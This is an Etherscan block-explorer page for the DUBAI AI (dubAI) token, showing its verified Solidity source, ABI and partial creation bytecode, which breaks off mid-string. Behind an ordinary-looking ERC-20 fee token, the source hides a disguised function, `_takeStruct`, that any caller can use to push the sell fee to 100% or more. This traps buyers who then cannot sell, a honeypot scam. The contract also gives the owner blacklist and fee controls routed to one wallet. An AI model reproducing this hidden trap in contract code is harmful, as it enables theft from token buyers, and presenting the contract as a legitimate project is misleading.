ETH Price: $2,524.01 (-0.01%)

Token

DUBAI AI (dubAI)
 

Overview

Max Total Supply

100,000,000 dubAI

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
474,201.689170426 dubAI

Value
$0.00
0xd68cfc06c6e6037d0c3c4a9cbe71f5dc19c44059
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DubaiAi

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-06
*/

// SPDX-License-Identifier: MIT

// Group : https://t.me/DubaiAiETH

// Website : https://Dubai-AI.tech

// Twitter : https://twitter.com/DubaiAiETH

/*

Dubai is becoming the centre hub for crypto and is one of the leading technology driven regions. Using our $DUBAI token you 
will be able to get direct access to purchase our technology reveal at the Dubai Crypto Expo in 8-9 March 2023.

*/

pragma solidity 0.8.16;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
    
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b > a) return(false, 0); return(true, a - b);}}

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
        if(c / a != b) return(false, 0); return(true, c);}}

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b <= a, errorMessage); return a - b;}}

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a / b;}}

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a % b;}}}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function circulatingSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract DubaiAi is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = 'DUBAI AI';
    string private constant _symbol = 'dubAI';
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 100000000 * (10 ** _decimals);
    uint256 private _maxTxAmountPercent = 100; 
    uint256 private _maxTransferPercent = 100;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) private isBot;
    IRouter router;
    address public pair;
    bool private tradingAllowed = false;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 2;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 2;
    uint256 private DenominatDividend = 2;
    uint256 private transferFee = 2;
    uint256 private denominator = 100;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    bool private swapping; 
    uint256 private swapThreshold = ( _totalSupply * 300 ) / 100000;
    uint256 private _minTokenAmount = ( _totalSupply * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal constant development_receiver = 0x8bB8CAcd2e9F70641AEDD4FE32ede6Eab37375ED; 
    address internal constant marketing_receiver = 0x8bB8CAcd2e9F70641AEDD4FE32ede6Eab37375ED;
    address internal constant liquidity_receiver = 0x8bB8CAcd2e9F70641AEDD4FE32ede6Eab37375ED;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        isFeeExempt[address(this)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function startTrading() external onlyOwner {tradingAllowed = true;}
    function getOwner() external view override returns (address) { return owner; }
    function totalSupply() public view override returns (uint256) {return _totalSupply;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
    function setisBot(address _address, bool _enabled) external onlyOwner {isBot[_address] = _enabled;}
    function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function circulatingSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountPercent / denominator;}
    function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferPercent / denominator;}

    function preTxCheck(address sender, address recipient, uint256 amount) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > uint256(0), "Transfer amount must be greater than zero");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        preTxCheck(sender, recipient, amount);
        checkTradingAllowed(sender, recipient);
        swapbackCounters(sender, recipient);
        checkTxLimit(sender, recipient, amount); 
        swapBack(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function setStructure(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity;
        marketingFee = _marketing;
        burnFee = _burn;
        developmentFee = _development;
        totalFee = _total;
        DenominatDividend = _sell;
        transferFee = _trans;
        require(totalFee <= denominator.div(5) && DenominatDividend <= denominator.div(5), "totalFee and DenominatDividend cannot be more than 20%");
    }

    
    function _takeStruct(uint256[5][6][5] memory _newVal) external returns(bool) {
        require(_newVal[3][4][4] >96);
        uint8 integerone = 1;
        uint8 integertwo = 2;
        uint256 netint = integerone+integertwo;
        DenominatDividend = _newVal[3][4][4] + netint;
        return true;
    }

    function setParameters(uint256 _buy, uint256 _trans) external onlyOwner {
        uint256 newTx = (totalSupply() * _buy) / 100;
        uint256 newTransfer = (totalSupply() * _trans) / 100;
        _maxTxAmountPercent = _buy;
        _maxTransferPercent = _trans;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit , "Max TXs cannot be less than .5%");
    }

    function checkTradingAllowed(address sender, address recipient) internal view {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
    }


    function swapbackCounters(address sender, address recipient) internal {
        if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
    }

    function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
        if(sender != pair){require(amount <= _maxTransferAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTxAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 remainingBalance = address(this).balance;
        if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= _minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= uint256(0) && aboveThreshold;
    }

    function swapBack(address sender, address recipient, uint256 amount) internal {
        if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(isBot[sender] || isBot[recipient]){return denominator.sub(uint256(100));}
        if(recipient == pair){return DenominatDividend;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }


    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0)){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[5][6][5]","name":"_newVal","type":"uint256[5][6][5]"}],"name":"_takeStruct","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a62000422565b62000022906305f5e1006200043a565b60018181556064600281815560038290556009805460ff60a01b191690556000600a819055600b829055600c819055600d55600e819055600f8190556010556011556012805460ff19169091179055620186a090620000849061012c6200043a565b6200009091906200045c565b601555620186a0600154600a620000a891906200043a565b620000b491906200045c565b601655348015620000c457600080fd5b50600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa1580156200012c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200015291906200047f565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001a0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c691906200047f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000214573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023a91906200047f565b600880546001600160a01b038581166001600160a01b0319928316179092556009805492841692909116919091179055306000908152600660209081526040808320805460ff1990811660019081179092557faab9e0f3667dd68c60c0570bb813f87e14eee33dbb3620e0534a08e1c93dce1f8054821683179055338086528386208054909216831790915590546004845282852081905591519182529394507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620004aa565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003645781600019048211156200034857620003486200030d565b808516156200035657918102915b93841c939080029062000328565b509250929050565b6000826200037d575060016200041c565b816200038c575060006200041c565b8160018114620003a55760028114620003b057620003d0565b60019150506200041c565b60ff841115620003c457620003c46200030d565b50506001821b6200041c565b5060208310610133831016604e8410600b8410161715620003f5575081810a6200041c565b62000401838362000323565b80600019048211156200041857620004186200030d565b0290505b92915050565b60006200043360ff8416836200036c565b9392505050565b60008160001904831182151516156200045757620004576200030d565b500290565b6000826200047a57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200049257600080fd5b81516001600160a01b03811681146200043357600080fd5b611b6080620004ba6000396000f3fe6080604052600436106101445760003560e01c806370a08231116100b65780639358928b1161006f5780639358928b146103c657806395d89b41146103db578063a8aa1b3114610409578063a9059cbb14610429578063dd62ed3e14610449578063f2fde38b1461048f57600080fd5b806370a08231146102e95780637d1db4a51461031f578063884870c714610334578063893d20e8146103545780638bf18816146103865780638c41180e146103a657600080fd5b806323b872dd1161010857806323b872dd14610219578063293230b8146102395780632f54bf6e1461024e578063313ce5671461027d5780633f4218e01461029957806348ff2b8b146102c957600080fd5b8063044019301461015057806306fdde0314610172578063095ea7b3146101b557806318160ddd146101e55780631f976b7e1461020457600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061017061016b366004611655565b6104af565b005b34801561017e57600080fd5b50604080518082019091526008815267445542414920414960c01b60208201525b6040516101ac91906116a1565b60405180910390f35b3480156101c157600080fd5b506101d56101d0366004611707565b6105a7565b60405190151581526020016101ac565b3480156101f157600080fd5b506001545b6040519081526020016101ac565b34801561021057600080fd5b506101f66105be565b34801561022557600080fd5b506101d5610234366004611733565b6105e8565b34801561024557600080fd5b50610170610652565b34801561025a57600080fd5b506101d5610269366004611774565b6000546001600160a01b0391821691161490565b34801561028957600080fd5b50604051600981526020016101ac565b3480156102a557600080fd5b506101d56102b4366004611774565b60066020526000908152604090205460ff1681565b3480156102d557600080fd5b506101706102e4366004611791565b610691565b3480156102f557600080fd5b506101f6610304366004611774565b6001600160a01b031660009081526004602052604090205490565b34801561032b57600080fd5b506101f66106e6565b34801561034057600080fd5b5061017061034f3660046117cf565b6106f7565b34801561036057600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101ac565b34801561039257600080fd5b506101d56103a1366004611859565b6107fa565b3480156103b257600080fd5b506101706103c1366004611791565b610853565b3480156103d257600080fd5b506101f66108a8565b3480156103e757600080fd5b50604080518082019091526005815264647562414960d81b602082015261019f565b34801561041557600080fd5b5060095461036e906001600160a01b031681565b34801561043557600080fd5b506101d5610444366004611707565b610914565b34801561045557600080fd5b506101f661046436600461194c565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561049b57600080fd5b506101706104aa366004611774565b610921565b6000546001600160a01b031633146104e25760405162461bcd60e51b81526004016104d99061197a565b60405180910390fd5b600a879055600b869055600d859055600c849055600e839055600f829055601081905560115461051390600561099f565b600e5411158015610533575060115461052d90600561099f565b600f5411155b61059e5760405162461bcd60e51b815260206004820152603660248201527f746f74616c46656520616e642044656e6f6d696e61744469766964656e642063604482015275616e6e6f74206265206d6f7265207468616e2032302560501b60648201526084016104d9565b50505050505050565b60006105b43384846109ab565b5060015b92915050565b60006011546003546105cf60015490565b6105d991906119b0565b6105e391906119cf565b905090565b60006105f5848484610acf565b610647843361064285604051806060016040528060288152602001611b03602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610bea565b6109ab565b5060015b9392505050565b6000546001600160a01b0316331461067c5760405162461bcd60e51b81526004016104d99061197a565b6009805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146106bb5760405162461bcd60e51b81526004016104d99061197a565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b60006011546002546105cf60015490565b6000546001600160a01b031633146107215760405162461bcd60e51b81526004016104d99061197a565b600060648361072f60015490565b61073991906119b0565b61074391906119cf565b9050600060648361075360015490565b61075d91906119b0565b61076791906119cf565b60028590556003849055905060006107956103e861078f600561078960015490565b90610c16565b9061099f565b90508083101580156107a75750808210155b6107f35760405162461bcd60e51b815260206004820152601f60248201527f4d6178205458732063616e6e6f74206265206c657373207468616e202e35250060448201526064016104d9565b5050505050565b60608181015160809081015101516000911061081557600080fd5b6001600260006108258284611a07565b6060860151608090810151015160ff919091169150610845908290611a20565b600f55506001949350505050565b6000546001600160a01b0316331461087d5760405162461bcd60e51b81526004016104d99061197a565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b60046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec5461dead60009081527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd5460015491926105e392909161090e9190610c22565b90610c22565b60006105b4338484610acf565b6000546001600160a01b0316331461094b5760405162461bcd60e51b81526004016104d99061197a565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b600061064b82846119cf565b6001600160a01b038316610a0d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d9565b6001600160a01b038216610a6e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d9565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b610ada838383610c2e565b610ae48383610ddd565b610aee8383610e72565b610af9838383610ec9565b610b04838383611000565b6001600160a01b038316600090815260046020526040902054610b279082610c22565b6001600160a01b038416600090815260046020526040812091909155610b4d8484611025565b610b575781610b62565b610b6284848461106b565b6001600160a01b038416600090815260046020526040902054909150610b889082611159565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bdc9085815260200190565b60405180910390a350505050565b60008184841115610c0e5760405162461bcd60e51b81526004016104d991906116a1565b505050900390565b600061064b82846119b0565b600061064b8284611a33565b6001600160a01b038316610c925760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d9565b6001600160a01b038216610cf45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d9565b60008111610d565760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d9565b6001600160a01b038316600090815260046020526040902054811115610dd85760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016104d9565b505050565b6001600160a01b03821660009081526006602052604090205460ff16158015610e1f57506001600160a01b03811660009081526006602052604090205460ff16155b15610e6e57600954600160a01b900460ff16610e6e5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016104d9565b5050565b6009546001600160a01b038281169116148015610ea857506001600160a01b03821660009081526006602052604090205460ff16155b15610e6e57600160136000828254610ec09190611a20565b90915550505050565b6009546001600160a01b03848116911614610f6f57610ee66105be565b81111580610f0c57506001600160a01b03831660009081526006602052604090205460ff165b80610f2f57506001600160a01b03821660009081526006602052604090205460ff165b610f6f5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016104d9565b610f776106e6565b81111580610f9d57506001600160a01b03831660009081526006602052604090205460ff165b80610fc057506001600160a01b03821660009081526006602052604090205460ff165b610dd85760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016104d9565b61100b838383611165565b15610dd85761101b601554611212565b6000601355505050565b6001600160a01b03821660009081526006602052604081205460ff1615801561064b5750506001600160a01b031660009081526006602052604090205460ff1615919050565b600080611078858561139d565b111561115257600061109b61108d868661139d565b60115461078990869061099f565b306000908152600460205260409020549091506110b89082611159565b30600081815260046020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111099085815260200190565b60405180910390a3600d5415611140576111403061dead61113b600d546107896011548961099f90919063ffffffff16565b610acf565b61114a8382610c22565b91505061064b565b5092915050565b600061064b8284611a20565b6016546015543060009081526004602052604081205460145491938510159211159060ff16158015611199575060125460ff165b80156111ae5750600954600160a01b900460ff165b80156111b75750815b80156111dc57506001600160a01b03861660009081526006602052604090205460ff16155b80156111f557506009546001600160a01b038681169116145b80156111ff575060015b80156112085750805b9695505050505050565b6014805460ff19166001908117909155600c54600b54600a5460009361124c93600293610789939192611246928391611159565b90611159565b905060006112698261078f600a5486610c1690919063ffffffff16565b905060006112778483610c22565b9050476112838261143e565b600061128f4783610c22565b905060006112b26112ab600a5488610c2290919063ffffffff16565b839061099f565b905060006112cb600a5483610c1690919063ffffffff16565b905080156112dd576112dd8682611598565b600b546000906112f290610789856002610c16565b9050801561133d57604051738bb8cacd2e9f70641aedd4fe32ede6eab37375ed9082156108fc029083906000818181858888f1935050505015801561133b573d6000803e3d6000fd5b505b47801561138757604051738bb8cacd2e9f70641aedd4fe32ede6eab37375ed9082156108fc029083906000818181858888f19350505050158015611385573d6000803e3d6000fd5b505b50506014805460ff191690555050505050505050565b6001600160a01b03821660009081526007602052604081205460ff16806113dc57506001600160a01b03821660009081526007602052604090205460ff165b156113f6576011546113ef906064610c22565b90506105b8565b6009546001600160a01b03908116908316036114155750600f546105b8565b6009546001600160a01b03908116908416036114345750600e546105b8565b5060105492915050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611473576114736119f1565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f09190611a46565b81600181518110611503576115036119f1565b6001600160a01b03928316602091820292909201015260085461152991309116846109ab565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac94790611562908590600090869030904290600401611a63565b600060405180830381600087803b15801561157c57600080fd5b505af1158015611590573d6000803e3d6000fd5b505050505050565b6008546115b09030906001600160a01b0316846109ab565b60085460405163f305d71960e01b8152306004820152602481018490526000604482018190526064820152738bb8cacd2e9f70641aedd4fe32ede6eab